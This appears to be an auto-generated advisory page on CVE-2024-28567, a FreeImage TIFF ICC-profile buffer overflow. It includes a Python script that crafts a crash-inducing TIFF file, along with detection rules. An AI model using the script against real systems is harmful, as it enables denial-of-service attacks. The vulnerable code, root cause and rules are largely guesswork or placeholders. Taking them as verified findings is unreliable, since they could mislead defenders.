CVE-2024-28567
Executive Summary
CVE-2024-28567 is a buffer overflow vulnerability identified in the open-source FreeImage library, version 3.19.0 (r1909). The flaw resides in the FreeImage_CreateICCProfile() function, which is invoked when processing TIFF image files. A local attacker can exploit this vulnerability to cause a denial of service (DoS) by crafting a malicious TIFF file that triggers a buffer overflow. The vulnerability has a CVSS score of 0.0, indicating that it has not been officially scored, but the potential for DoS is confirmed. No public proof-of-concept (PoC) or patch is currently available, making this a high-risk issue for systems relying on FreeImage for TIFF processing.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
FreeImage is a widely used library in various applications and systems for image processing. This vulnerability affects the software supply chain, as any application that bundles or depends on FreeImage 3.19.0 (r1909) is at risk. Organizations should audit their dependencies to identify if they are using the vulnerable version and consider alternative libraries or temporary mitigations until a patch is released.
CVSS Breakdown & Threat Level
The CVSS score for CVE-2024-28567 is listed as 0.0, which is unusual and likely indicates that the score has not been officially calculated. Based on the description, a reasonable assessment would be:
- Attack Vector (AV): Local (L) – The attacker needs local access to the system.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No privileges needed to trigger the vulnerability.
- User Interaction (UI): Required (R) – The victim must open the malicious TIFF file.
- Scope (S): Unchanged (U) – The vulnerability affects only the vulnerable component.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): None (N) – No data modification.
- Availability (A): High (H) – The vulnerability causes a denial of service.
Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Threat Level: Medium (due to local access requirement and DoS impact).
Deep Dive & Mechanics
The vulnerability is a classic buffer overflow in the FreeImage_CreateICCProfile() function. This function is responsible for creating ICC (International Color Consortium) profiles from TIFF image data. When processing a specially crafted TIFF file, the function fails to properly validate the size of the input data before copying it into a fixed-size buffer. This leads to a buffer overflow, which can corrupt adjacent memory and cause the application to crash, resulting in a denial of service.
The root cause is likely an unchecked memcpy or similar operation where the source data length is derived from the TIFF file without proper bounds checking. An attacker can craft a TIFF file with an oversized ICC profile data block, causing the overflow.
Vulnerable vs. Patched Code
Since no patch is available, a comparison cannot be made. However, the vulnerable code likely resembles:
// Vulnerable pseudo-code
void FreeImage_CreateICCProfile(FIBITMAP *dib, BYTE *data, DWORD length) {
BYTE buffer[256]; // Fixed-size buffer
memcpy(buffer, data, length); // No bounds check
// ... process buffer
}
A patched version would include a length check:
// Patched pseudo-code
void FreeImage_CreateICCProfile(FIBITMAP *dib, BYTE *data, DWORD length) {
BYTE buffer[256];
if (length > sizeof(buffer)) {
// Handle error, return or truncate
return;
}
memcpy(buffer, data, length);
// ... process buffer
}
Exploitation & Lab Setup
Red Team
To exploit this vulnerability, an attacker would need to:
- Craft a Malicious TIFF File: Create a TIFF file with an ICC profile tag containing a data block larger than the expected buffer size (e.g., > 256 bytes).
- Deliver the File: Use social engineering or other means to get the victim to open the file with an application using the vulnerable FreeImage library.
- Trigger the Overflow: When the application processes the TIFF file, the
FreeImage_CreateICCProfile()function will overflow the buffer, causing a crash.
Lab Setup:
- Target: A system running an application that uses FreeImage 3.19.0 (r1909).
- Attacker: Local access to the target system.
- Tool: A hex editor or Python script to craft the malicious TIFF file.
Example Python script to generate a malicious TIFF:
import struct
def create_malicious_tiff():
# Minimal TIFF header
header = b'II' # Little-endian
header += struct.pack('<H', 42) # Magic number
header += struct.pack('<I', 8) # Offset to IFD
# IFD (Image File Directory)
ifd = struct.pack('<H', 1) # Number of entries
# Entry for ICC Profile tag (tag 34675)
ifd += struct.pack('<H', 34675) # Tag
ifd += struct.pack('<H', 7) # Type (UNDEFINED)
ifd += struct.pack('<I', 300) # Count (overflow size)
ifd += struct.pack('<I', 0) # Offset (will be set later)
# ICC Profile data (300 bytes of 'A')
icc_data = b'A' * 300
# Write to file
with open('malicious.tif', 'wb') as f:
f.write(header)
f.write(ifd)
f.write(icc_data)
create_malicious_tiff()
Blue Team
Detection:
- Monitor for crashes in applications using FreeImage.
- Use file integrity monitoring to detect the presence of suspicious TIFF files.
- Implement behavioral analysis to detect abnormal memory access patterns.
Prevention:
- Restrict local access to systems running vulnerable applications.
- Use application whitelisting to prevent untrusted applications from processing TIFF files.
- Implement stack canaries and ASLR to mitigate exploitation.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example, not actual)
malicious.tif:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
- Process Behavior:
- Application crash with access violation in
FreeImage.dllorlibfreeimage.so. - Memory corruption errors in system logs.
- Application crash with access violation in
- Network: None (local vulnerability).
- Registry/File System: Presence of TIFF files with unusually large ICC profile data blocks.
Detection Engineering
YARA Rule
rule CVE_2024_28567_TIFF_ICC_Overflow {
meta:
description = "Detects TIFF files with oversized ICC profile data blocks"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-28567"
strings:
$tiff_header = { 49 49 2A 00 } // Little-endian TIFF header
$icc_tag = { 73 87 00 00 } // Tag 34675 (0x8773) in little-endian
condition:
$tiff_header at 0 and $icc_tag and filesize > 1000
}
Sigma Rule
title: CVE-2024-28567 FreeImage TIFF Buffer Overflow
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects application crashes caused by CVE-2024-28567
author: Valters IT
date: 2024-01-01
logsource:
category: application
product: windows
detection:
selection:
EventID: 1000
Provider_Name: 'Application Error'
Data: '*FreeImage*'
condition: selection
falsepositives:
- Legitimate crashes due to other reasons
level: medium
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2024-28567 TIFF ICC Profile Overflow"; flow:to_client; file.data; content:"|49 49 2A 00|"; offset:0; depth:4; content:"|73 87|"; distance:0; within:2; byte_test:4,>,256,0,relative; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable or restrict the use of applications that rely on FreeImage 3.19.0 (r1909) for processing TIFF files.
- Short-term: Implement input validation and sanitization for TIFF files before they are processed by FreeImage.
- Long-term: Monitor for an official patch from the FreeImage project. Once available, update to the patched version immediately.
- Alternative: Consider using alternative image processing libraries that are actively maintained and have no known vulnerabilities.
Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.